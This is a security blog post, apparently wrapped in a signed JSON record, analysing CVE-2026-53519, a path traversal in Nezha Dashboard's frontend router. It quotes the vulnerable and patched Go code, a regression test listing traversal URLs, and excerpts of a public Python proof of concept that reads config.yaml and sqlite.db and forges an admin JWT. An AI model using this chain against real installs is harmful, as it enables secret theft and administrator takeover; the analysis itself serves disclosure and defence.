-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The prefix check was missing a slash\n\nNezha Dashboard's `fallbackToFrontend` middleware in `cmd/dashboard/controller/controller.go` decides at the SPA-fallback layer whether an inbound request belongs to the admin frontend or the user frontend. Pre-patch:\n\n```go\nif strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {\n stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")\n localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)\n if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {\n return\n }\n ...\n}\n```\n\n`singleton.Conf.AdminTemplate` defaults to the literal string `\"admin-dist\"` (see `model/config.go` line 189). `strings.HasPrefix(\"/dashboard../data/config.yaml\", \"/dashboard\")` returns true. `strings.TrimPrefix` yields `../data/config.yaml`. The handler does not inspect the trimmed segment; it hands the segment straight to `path.Join`.\n\nThe fix in commit `e816e94f` changes the prefix and writes the rationale in the same comment:\n\n```diff\n-\t\tif strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {\n-\t\t\tstripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")\n+\t\t// Only /dashboard/ belongs to the admin frontend; /dashboard.. must not be trimmed into ../.\n+\t\tif strings.HasPrefix(c.Request.URL.Path, \"/dashboard/\") {\n+\t\t\tstripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard/\")\n```\n\nThe maintainer's comment names exactly what the previous version did. The trailing slash converts the prefix from a substring-of-the-path test to an end-at-a-route-boundary test. `/dashboard../...` no longer satisfies the new check; the request falls through to the user-template branch, where the trimmed path is similarly sanitised by the rewritten file-serving helper described below.\n\n## `path.Join` finished the traversal\n\nThe gate was `HasPrefix`. The action was `path.Join`. The pre-patch `checkLocalFileOrFs` was a four-line shape this catalog already has a name for:\n\n```go\ncheckLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {\n if _, err := os.Stat(path); err == nil {\n http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)\n return true\n }\n ...\n}\n```\n\nGo's [`path.Join`](https://pkg.go.dev/path#Join) is documented to call `path.Clean` on its result. `path.Clean` collapses `..` segments against earlier path elements. `path.Join(\"admin-dist\", \"../data/config.yaml\")` returns `data/config.yaml`. That string is the literal first argument to `os.Stat` and then to `http.ServeFile`. The process working directory at runtime is the Nezha install root, where `data/config.yaml` is the dashboard's persistent config file. The file exists. The webserver serves it.\n\nThis is the join-is-not-sandbox pattern, the URL-path sibling of the Go `filepath` case the catalog already carries in [Casdoor's `GetFullPath`](https://nefariousplan.com/posts/casdoor-cve-2026-6815-getfullpath-joined-the-path-out). The standard-library helper composes a base directory and a caller-supplied segment; the developer reads the composition as scoping and the library defines it as normalising. Nezha uses `path` instead of `filepath` because URL paths are slash-only, but the cleaning semantics on `..` are identical. Same family of bug, same shape of fix.\n\nThe fix does not stop at the slash. v2.0.13 ships Go 1.24, and the rewritten `checkLocalFileOrFs` reaches for the sandbox primitive the Join family does not export:\n\n```go\ncheckLocalFileOrFs := func(c *gin.Context, frontendFS fs.FS, templateRoot, filePath string, customStatusCode int) bool {\n if filePath != \"\" {\n localRoot, err := os.OpenRoot(templateRoot)\n if err == nil {\n defer localRoot.Close()\n // URL paths must stay inside the selected template root; never join them against the process cwd.\n if file, err := localRoot.Open(filePath); err == nil && serveFile(c, filePath, file, customStatusCode) {\n return true\n }\n }\n }\n if !fs.ValidPath(filePath) {\n return false\n }\n ...\n}\n```\n\n`os.OpenRoot` returns a root-jailed filesystem handle that refuses traversal at the kernel `openat2` call. `fs.ValidPath` independently rejects path segments containing `..`. `templateRoot` and `filePath` are passed as separate arguments; the caller no longer composes them with `path.Join`. The trailing slash on the prefix check would have closed the demonstrated PoC by itself. The vendor declined to ship just the slash, then declined to ship just the slash plus a `startswith` check, then declined to ship `path.Join` at all in the file-serving path. The pattern's prior exhibits (Casdoor in Go, [DbGate in Node](https://nefariousplan.com/posts/dbgate-cve-2026-47669-unzipdirectory-joined-the-path-out), [AIT-Core in Python](https://nefariousplan.com/posts/nasa-ait-core-bsc-cve-2026-47731-docstring-was-the-allowlist)) reach for `Rel + prefix` or `realpath + startswith`. Nezha reaches for `os.OpenRoot`, the newest of the three sandbox primitives. Pattern, three answers.\n\n## `data/config.yaml` is the JWT signing key\n\nThe PoC at `tar-xz/CVE-2026-53519-PoC` is sixty lines. The chain is four requests:\n\n```python\n# 1. Path traversal: pull config.yaml\ncfg = urllib.request.urlopen(f\"{url}/dashboard%2e%2e/data/config.yaml\", timeout=10).read()\nsecret = re.search(rb'jwt_secret_key:\\s*[\"\\']?(.*?)[\"\\']?(?:\\r|\\n|$)', cfg).group(1).decode()\n\n# 2. Path traversal: pull the sqlite database\ndb = urllib.request.urlopen(f\"{url}/dashboard%2e%2e/data/sqlite.db\", timeout=15).read()\n\n# 3. Pull admin user_id from the sqlite database\nuid = str(conn.execute(\"SELECT id FROM users ORDER BY id LIMIT 1\").fetchone()[0])\n\n# 4. Forge an HS256 JWT with the leaked secret, hit /api/v1/profile\np = b64(json.dumps({\"user_id\": uid, \"ip\": \"\", \"exp\": now + 3600, \"orig_iat\": now}).encode())\ns = b64(hmac.new(secret.encode(), f\"{h}.{p}\".encode(), hashlib.sha256).digest())\ntoken = f\"{h}.{p}.{s}\"\nreq = urllib.request.Request(f\"{url}/api/v1/profile\", headers={\"Authorization\": f\"Bearer {token}\"})\n```\n\nThe `%2e%2e` encoding is cosmetic; Go's `net/http` decodes percent-escapes in `URL.Path` before middleware sees it. The new regression test at `cmd/dashboard/controller/frontend_fallback_test.go` proves the equivalence by enumerating six variants against `/dashboard..` and five against the user root:\n\n```go\ntests := []string{\n \"/dashboard../data/config.yaml\",\n \"/dashboard%2e%2e/data/config.yaml\",\n \"/dashboard%2e%2e%2fdata%2fconfig.yaml\",\n \"/dashboard/../data/config.yaml\",\n \"/dashboard/%2e%2e/data/config.yaml\",\n \"/dashboard../assets/app.js\",\n}\n```\n\nEach variant is a separate `t.Run` that asserts `traversal-secret` and `jwt_secret_key` do not appear in the response body. The test fixture writes the bait file at `data/config.yaml` containing `jwt_secret_key: traversal-secret`. The vendor named the test class `TestFallbackToFrontendBlocksDashboardTraversal`. The advisory at GHSA-5c25-7vpj-9mqh describes the issue as \"improper handling of dashboard routing and path normalisation.\" The repository's own test name calls it traversal.\n\nThe forged-token half of the chain works because of the pre-patch JWT shape. At the time of the bug, `cmd/dashboard/controller/jwt.go` signed with `HS256` under the key read from `singleton.Conf.JWTSecretKey` and accepted any token whose claims included `user_id` and a future `exp`. There was no per-session row in a server-side table, no `keyId` claim, no IP binding enforced server-side beyond claim equality, and no `TokenVersion` check. Holding the secret was holding admin.\n\nThat changes the next day. Commit `2bf0475b`, dated May 26, 2026 (twenty hours after the path-traversal fix), is titled `feat(jwt): server-side session table with keyId + obfuscated uid claims`. The commit message states the design intent in one sentence: \"a leaked JWT secret alone is no longer enough to forge a token.\" The May 25 patch closes the way the secret leaks. The May 26 refactor changes what holding the secret gets you. The two are consecutive entries in the same maintainer's git history, in the same release branch, separated by a workday.\n\n## The constant in `model/config.go` is the admission\n\nBuried inside the same `e816e94f` commit that fixed the prefix check is a new exported constant in `model/config.go`:\n\n```go\nconst (\n ConfigUsePeerIP = \"NZ::Use-Peer-IP\"\n JWTSecretKeyRotationBaselineVersion = \"v2.0.13\"\n)\n```\n\nAnd a new method on `Config`:\n\n```go\nfunc (c *Config) RotateJWTSecretKeyIfNeeded(currentVersion string) (bool, error) {\n if c.jwtSecretFromEnv {\n return false, nil\n }\n currentVersion = strings.TrimSpace(currentVersion)\n if compareVersion(currentVersion, JWTSecretKeyRotationBaselineVersion) < 0 {\n return false, nil\n }\n initialMarker := c.JWTSecretKeyLastRotatedVersion\n shouldRotate := c.JWTSecretKeyLastRotatedVersion == \"\" ||\n compareVersion(c.JWTSecretKeyLastRotatedVersion, JWTSecretKeyRotationBaselineVersion) < 0\n if shouldRotate {\n secret, err := utils.GenerateRandomString(1024)\n if err != nil {\n return false, err\n }\n c.JWTSecretKey = secret\n }\n ...\n}\n```\n\n`RotateJWTSecretKeyIfNeeded` runs once per process start, called from `service/singleton/config.go`. If the secret was injected from the `NZ_JWTSECRETKEY` environment variable, the rotator does nothing. If the secret lives in `data/config.yaml`, and the install has never been marked as rotated past v2.0.13, the rotator generates a new 1024-character key, patches the YAML in place, and stamps `jwt_secret_key_last_rotated_version: v2.0.13` next to it. The next dashboard process on every install upgrading from v2.0.12 or earlier reads a different `jwt_secret_key` than the file that was sitting on disk.\n\nThe rotation triggers regardless of whether the install was ever scanned, regardless of whether `data/config.yaml` was ever served to a caller, regardless of whether the operator believes the dashboard sits behind a private LAN. The conditional is the version of the on-disk marker, not any forensic evidence of exposure. The vendor's threat model declared the at-rest secret category-burned for every install that ever ran a pre-v2.0.13 binary. The codebase declared the cost of cleanup.\n\nThe startup-log path that loads the secret from YAML carries the second admission. The pre-existing line, untouched by this commit, prints on every boot where the YAML key is set:\n\n```\nNEZHA>> jwt_secret_key loaded from config.yaml; recommend injecting via env NZ_JWTSECRETKEY to keep it off disk\n```\n\nThe recommended path is the env variable. The bug demonstrates why. The patch makes the recommendation retroactive: every install that was running an at-rest secret on May 24 has a new at-rest secret on first start under v2.0.13, with no operator action required, and no operator notification beyond a log line that ships verbatim with the unfixed code too.\n\n## The fix shipped inside a feature commit\n\nCommit `e816e94f` is dated May 25, 2026, 10:15 UTC, authored by `naiba `. The commit message is `feat: server transfer rotation`. The diff touches thirty-three files. The path-traversal patch, the `os.OpenRoot` rewrite, the regression test suite at `frontend_fallback_test.go`, the `RotateJWTSecretKeyIfNeeded` method, the `JWTSecretKeyRotationBaselineVersion` constant, and the test class at `service/singleton/config_test.go` named `TestInitConfigFromPathRotatesJWTSecretKey` are all in that one commit, beside a feature for rotating server-transfer requests in the admin UI. A reader scanning the v2.0.12-to-v2.0.13 diff for the security fix has to know the commit titled \"server transfer rotation\" is also the dashboard-traversal fix and the JWT-secret rotation rollout. The CVE record at MITRE points readers at GHSA-5c25-7vpj-9mqh. The advisory describes \"improper handling of dashboard routing and path normalisation.\" It does not name `path.Join`. It does not name `JWTSecretKeyRotationBaselineVersion`. The patch does both.\n\nThe PoC at `tar-xz/CVE-2026-53519-PoC` published on June 16, 2026, three weeks after the fix and a day after the CVE was assigned. The repository is sixty lines of Python and a README that lists the chain in order. The chain works against any Nezha install still on a pre-v2.0.13 binary; every operator who upgraded to v2.0.13 by then has a rotated secret and a route check that ends at the slash. Every operator who did not is running the unfixed code with a secret in `data/config.yaml` that the vendor's own rotation logic, sitting in the next release tag, treats as gone.\n\nPoC: [tar-xz/CVE-2026-53519-PoC](https://github.com/tar-xz/CVE-2026-53519-PoC)","closing_line":"The prefix was missing a slash. The rotation is the receipt.","hook_md":"Nezha Dashboard's pre-v2.0.13 frontend router gated the admin SPA on `strings.HasPrefix(c.Request.URL.Path, \"/dashboard\")` with no trailing slash. `/dashboard../data/config.yaml` matches; `strings.TrimPrefix` returns `../data/config.yaml`; `path.Join(\"admin-dist\", \"../data/config.yaml\")` returns `data/config.yaml`; `http.ServeFile` serves it. The file is the at-rest copy of `jwt_secret_key`. Two more reads pull the admin user id from `data/sqlite.db` and forge an HS256 JWT for `/api/v1/profile`. CVE-2026-53519, CVSS 9.1, fixed in commit `e816e94f` on May 25, 2026, inside a commit titled `feat: server transfer rotation`. The same commit added the constant `JWTSecretKeyRotationBaselineVersion = \"v2.0.13\"` and the method `RotateJWTSecretKeyIfNeeded`. Every install upgrading from a prior release now force-rotates the at-rest secret on first start. The path traversal was a missing slash. The rotation is what the vendor wrote when they decided every secret currently on disk was already gone.","post_id":645,"slug":"nezha-cve-2026-53519-prefix-missing-slash-and-forced-rotation","title":"CVE-2026-53519: Nezha's Dashboard Prefix Was Missing A Slash. The Same Patch Force-Rotates Every JWT Secret On Upgrade.","type":"initial","unreadable_sentence":"The constant `JWTSecretKeyRotationBaselineVersion = \"v2.0.13\"` is the line the vendor wrote when they decided every secret currently on disk was already gone."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaujUlAAKCRDeZjl4jgkQ JiBlAQCF2S0HyUDZMwY4gMK8efu7YIrQrJJvjMJ4t65PE6Db+AEA27Qc9EwqmGQB T7A2NW9yAi+ohpeenipHwDI9Y1QSXgU= =/vQL -----END PGP SIGNATURE-----